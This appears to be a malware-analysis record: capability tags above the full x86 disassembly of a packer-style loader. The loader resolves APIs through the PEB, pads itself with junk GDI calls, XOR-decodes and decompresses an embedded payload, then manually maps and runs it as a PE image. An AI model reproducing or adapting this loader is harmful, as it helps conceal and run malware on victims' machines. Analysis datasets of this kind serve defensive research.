Function at 0x35109c
Capabilities:
Access peb ldr_data
Compress data via winapi
Get kernel32 base address
Get number of processors
Parse pe header
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3a4
push ebx
push esi
push edi
push eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0xc], eax
pop eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, dword [eax]
mov eax, dword [eax + 0x18]
mov edi, dword [ecx + 0x18]
mov dword [ebp - 0x18], eax
jmp 0x3510d5
xor ebx, ebx
push ebx
push ebx
push ebx
push 0x351040
call dword [sym.imp.GDI32.dll_CreateDCA]
push ebx
push 0x141
mov esi, eax
push 2
push esi
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
mov eax, dword [ebp - 0x14]
add eax, 0xfffffffe
je 0x3511a9
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
add dword [ebp - 0x10], 0xa
push 0xec
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 4]
push eax
xor ebx, ebx
push ebx
call dword [sym.imp.GDI32.dll_CheckColorsInGamut]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x3a4]
push eax
call dword [sym.imp.mscms.dll_CreateColorTransformW]
push 0x22
push ebx
push 0x84b
push 0x1b1
push ebx
push 0x15
push ebx
call dword [sym.imp.mscms.dll_CreateDeviceLinkProfile]
push ebx
push ebx
call dword [sym.imp.mscms.dll_CreateProfileFromLogColorSpaceW]
cmp dword [ebp - 0x10], 0x1f4
jl 0x35119b
jmp 0x351192
mov eax, dword [ebp - 0x10]
push 0x14
pop ecx
cdq
idiv ecx
sub dword [ebp - 0x10], 0x64
push 0
push dword [ebp - 0x18]
add dword [ebp - 0x14], eax
call esi
cmp dword [ebp - 0x10], 0xffffff9c
jle 0x3513d6
push 0
push dword [ebp - 0x18]
call esi
cmp dword [ebp - 0x14], 0x3e8
jle 0x35116a
mov eax, dword [ebp - 0x14]
add eax, 0xfffffffe
jne 0x351113
xor ebx, ebx
push 0x351048
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x351058
mov esi, eax
push edi
mov dword [ebp - 0x30], esi
call esi
mov dword [ebp - 0x38], eax
jmp 0x3511d1
push 0x351068
push edi
call esi
mov dword [ebp - 0x1c], eax
jmp 0x3511e8
push 0x351078
push dword [ebp - 0x18]
call esi
push 0x35108c
push edi
mov dword [ebp - 0x18], eax
call esi
cmp dword [ebp - 0x1c], ebx
je 0x3513cc
cmp dword [ebp - 0x18], ebx
je 0x3513cc
jmp 0x35121b
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, dword [eax + 0x3c]
add ebx, eax
movzx ecx, word [ebx + 6]
imul ecx, ecx, 0x28
lea ecx, [ecx + ebx + 0xa8]
mov edx, dword [ecx + 0xc]
add edx, eax
add edx, dword [ebx + 0x3c]
mov dword [ebp - 0x44], ecx
mov ecx, dword [ecx + 0xc]
mov esi, dword [edx]
add esi, eax
add ecx, eax
mov dword [ebp - 0x3c], eax
mov eax, dword [ebx + 0x3c]
push 5
mov dword [ebp - 0x24], esi
lea esi, [ecx + eax + 8]
pop ecx
push 4
push 0x3000
lea edi, [ebp - 0x58]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [edx + 4]
push 0xe
mov dword [ebp - 0x28], edx
pop esi
mov eax, ecx
xor edx, edx
div esi
imul eax, eax, 0xc
lea eax, [eax + ecx + 0x1000]
push eax
push 0
call dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
test eax, eax
je 0x3513cc
mov esi, dword [ebp - 0x28]
mov eax, dword [esi + 4]
push 7
pop edi
shr eax, 1
xor edx, edx
mov ecx, edi
div ecx
and dword [ebp - 0x34], 0
mov dword [ebp - 0x20], edi
mov ecx, eax
test ecx, ecx
je 0x3512f8
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x34]
mov edi, dword [ebp - 0x24]
sub edx, eax
add edi, edx
mov dword [ebp - 0x40], 7
mov dl, byte [edi + eax]
mov byte [eax], dl
inc eax
dec dword [ebp - 0x40]
jne 0x3512cb
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x20]
dec dword [ebp - 0x20]
lea eax, [eax + edx + 7]
mov dword [ebp - 0x34], eax
jne 0x3512ef
mov dword [ebp - 0x20], 7
add dword [ebp - 0xc], 7
dec dword [ebp - 0x28]
jne 0x3512b7
mov eax, dword [esi + 4]
push 7
shr eax, 1
xor edx, edx
pop edi
div edi
test edx, edx
je 0x351325
mov eax, dword [ebp - 0x34]
imul ecx, ecx, 7
add ecx, dword [ebp - 0x2c]
add eax, dword [ebp - 0x24]
test edx, edx
je 0x351325
mov edi, eax
sub edi, ecx
mov al, byte [edi + ecx]
mov byte [ecx], al
inc ecx
dec edx
jne 0x35131c
mov eax, dword [ebp - 0x44]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0x3c]
mov ecx, dword [ebx + 0x3c]
lea edi, [eax + ecx + 0x1c]
mov ecx, dword [esi + 4]
mov eax, ecx
and ecx, 1
shr eax, 1
add eax, ecx
push 7
pop ecx
xor edx, edx
div ecx
push 0
pop ecx
mov dword [ebp - 0x20], 5
inc eax
je 0x351397
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x28], eax
mov eax, dword [esi + 4]
shr eax, 1
add eax, dword [ebp - 0xc]
lea edx, [ecx + edi]
add eax, dword [ebp - 0x2c]
mov dword [ebp - 0x24], 7
mov bl, byte [edx]
mov byte [eax], bl
inc eax
inc edx
dec dword [ebp - 0x24]
jne 0x351370
mov eax, dword [ebp - 0x20]
dec dword [ebp - 0x20]
lea ecx, [ecx + eax + 7]
jne 0x35138e
mov dword [ebp - 0x20], 5
add dword [ebp - 0xc], 7
dec dword [ebp - 0x28]
jne 0x35135b
jmp 0x3513a3
mov eax, dword [esi + 4]
imul eax, eax, 0xf
push 4
push 0x3000
push eax
xor ebx, ebx
push ebx
call dword [ebp - 0x1c]
mov edi, eax
cmp edi, ebx
jne 0x3513db
push ebx
push ebx
push ebx
push dword [ebp - 0x38]
call dword [sym.imp.Cabinet.dll_FCIFlushCabinet]
add esp, 0x10
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0x10
push 5
pop eax
jmp 0x3513cf
xor ecx, ecx
xor edx, edx
cmp dword [esi + 4], ebx
jbe 0x3513fc
mov bl, byte [ebp + ecx - 0x58]
mov eax, dword [ebp - 0x2c]
xor byte [eax + edx], bl
inc ecx
cmp ecx, 0x13
jbe 0x3513f6
xor ecx, ecx
inc edx
cmp edx, dword [esi + 4]
jb 0x3513e4
push eax
mov eax, dword [section..data]
pop eax
mov esi, dword [esi + 4]
lea eax, [ebp - 8]
push eax
push esi
imul esi, esi, 0xf
push dword [ebp - 0x2c]
push esi
push edi
push 2
call dword [ebp - 0x18]
jmp 0x351424
mov eax, 0x5a4d
cmp word [edi], ax
jne 0x3513cc
mov ebx, dword [edi + 0x3c]
add ebx, edi
xor eax, eax
cmp dword [ebx], 0x4550
mov dword [ebp - 0x24], ebx
jne 0x3513ce
cmp dword [ebx + 0xa0], eax
jne 0x35144b
mov eax, dword [ebx + 0x34]
mov ecx, dword [ebx + 0x50]
push 0x40
push 0x3000
add ecx, 0x10
push ecx
push eax
call dword [ebp - 0x1c]
mov esi, eax
test esi, esi
je 0x3513cc
jmp 0x351473
jmp 0x35147f
mov eax, dword [ebx + 0x54]
add eax, dword [edi + 0x3c]
push 0
pop ecx
je 0x351495
mov dl, byte [ecx + edi]
mov byte [ecx + esi], dl
inc ecx
cmp ecx, eax
jb 0x35148a
and dword [ebp - 0x1c], 0
xor eax, eax
cmp ax, word [ebx + 6]
jae 0x3514e0
and dword [ebp - 0xc], eax
mov eax, dword [edi + 0x3c]
add eax, dword [ebp - 0xc]
lea eax, [eax + edi + 0xf8]
mov edx, dword [eax + 0x10]
mov ecx, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
add ecx, esi
add eax, edi
test edx, edx
je 0x3514d0
mov dword [ebp - 0x18], edx
mov dl, byte [eax]
mov byte [ecx], dl
inc ecx
inc eax
dec dword [ebp - 0x18]
jne 0x3514c5
movzx eax, word [ebx + 6]
inc dword [ebp - 0x1c]
add dword [ebp - 0xc], 0x28
cmp dword [ebp - 0x1c], eax
jb 0x3514a4
mov eax, esi
sub eax, dword [ebx + 0x34]
mov dword [ebp - 0x3c], eax
je 0x351559
mov eax, dword [ebx + 0xa0]
test eax, eax
je 0x351559
mov ebx, dword [ebx + 0xa4]
add eax, esi
add ebx, eax
jmp 0x35154f
mov ecx, dword [eax + 4]
and dword [ebp - 0xc], 0
sub ecx, 8
test ecx, 0xfffffffe
jbe 0x35154c
mov ecx, dword [ebp - 0x1c]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
mov edi, 0x3000
cmp dx, di
jne 0x351538
mov edx, dword [ebp - 0x3c]
and ecx, 0xfff
add ecx, dword [eax]
add dword [ecx + esi], edx
mov ecx, dword [eax + 4]
inc dword [ebp - 0xc]
add dword [ebp - 0x1c], 2
sub ecx, 8
shr ecx, 1
cmp dword [ebp - 0xc], ecx
jb 0x351512
add eax, dword [eax + 4]
lea ecx, [eax + 8]
mov dword [ebp - 0x1c], ecx
cmp eax, ebx
jb 0x351500
mov ecx, dword [ebp - 0x24]
mov edi, dword [ecx + 0x80]
add edi, esi
cmp dword [edi], 0
je 0x351607
mov eax, dword [edi + 0xc]
add eax, esi
push eax
call dword [ebp - 0x38]
mov dword [ebp - 0x18], eax
test eax, eax
je 0x3513cc
cmp dword [edi + 4], 0xffffffff
mov edx, dword [edi + 0x10]
mov dword [ebp - 0xc], edx
jne 0x3515b8
mov ecx, dword [edi]
mov ecx, dword [ecx + esi]
lea ebx, [edx + esi]
test ecx, 0xf0000000
je 0x3515a5
and ecx, 0xffff
jmp 0x3515aa
add ecx, esi
add ecx, 2
push ecx
push eax
call dword [ebp - 0x30]
cmp dword [ebx], eax
je 0x3515f8
mov eax, dword [edi]
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 0xc]
add ebx, esi
jmp 0x3515f3
mov eax, dword [ebx]
test eax, 0xf0000000
je 0x3515cf
and eax, 0xffff
jmp 0x3515d4
add eax, esi
add eax, 2
push eax
push dword [ebp - 0x18]
call dword [ebp - 0x30]
mov dword [ebx], eax
test eax, eax
je 0x3513cc
mov eax, dword [edi + 0x10]
sub eax, dword [ebp - 0xc]
mov ecx, dword [ebx]
mov dword [eax + ebx], ecx
add ebx, 4
cmp dword [ebx], 0
jne 0x3515bf
add edi, 0x14
cmp dword [edi], 0
jne 0x35156d
mov ecx, dword [ebp - 0x24]
push eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x18], eax
pop eax
mov eax, dword [ebp - 0x18]
mov dword [eax + 8], esi
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov dword [eax + 0x18], esi
mov edx, dword [ecx + 0x28]
add edx, esi
mov dword [eax + 0x1c], edx
mov eax, dword [ecx + 0x28]
add eax, esi
mov dword [ebp - 0x38], eax
call dword [ebp - 0x38]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]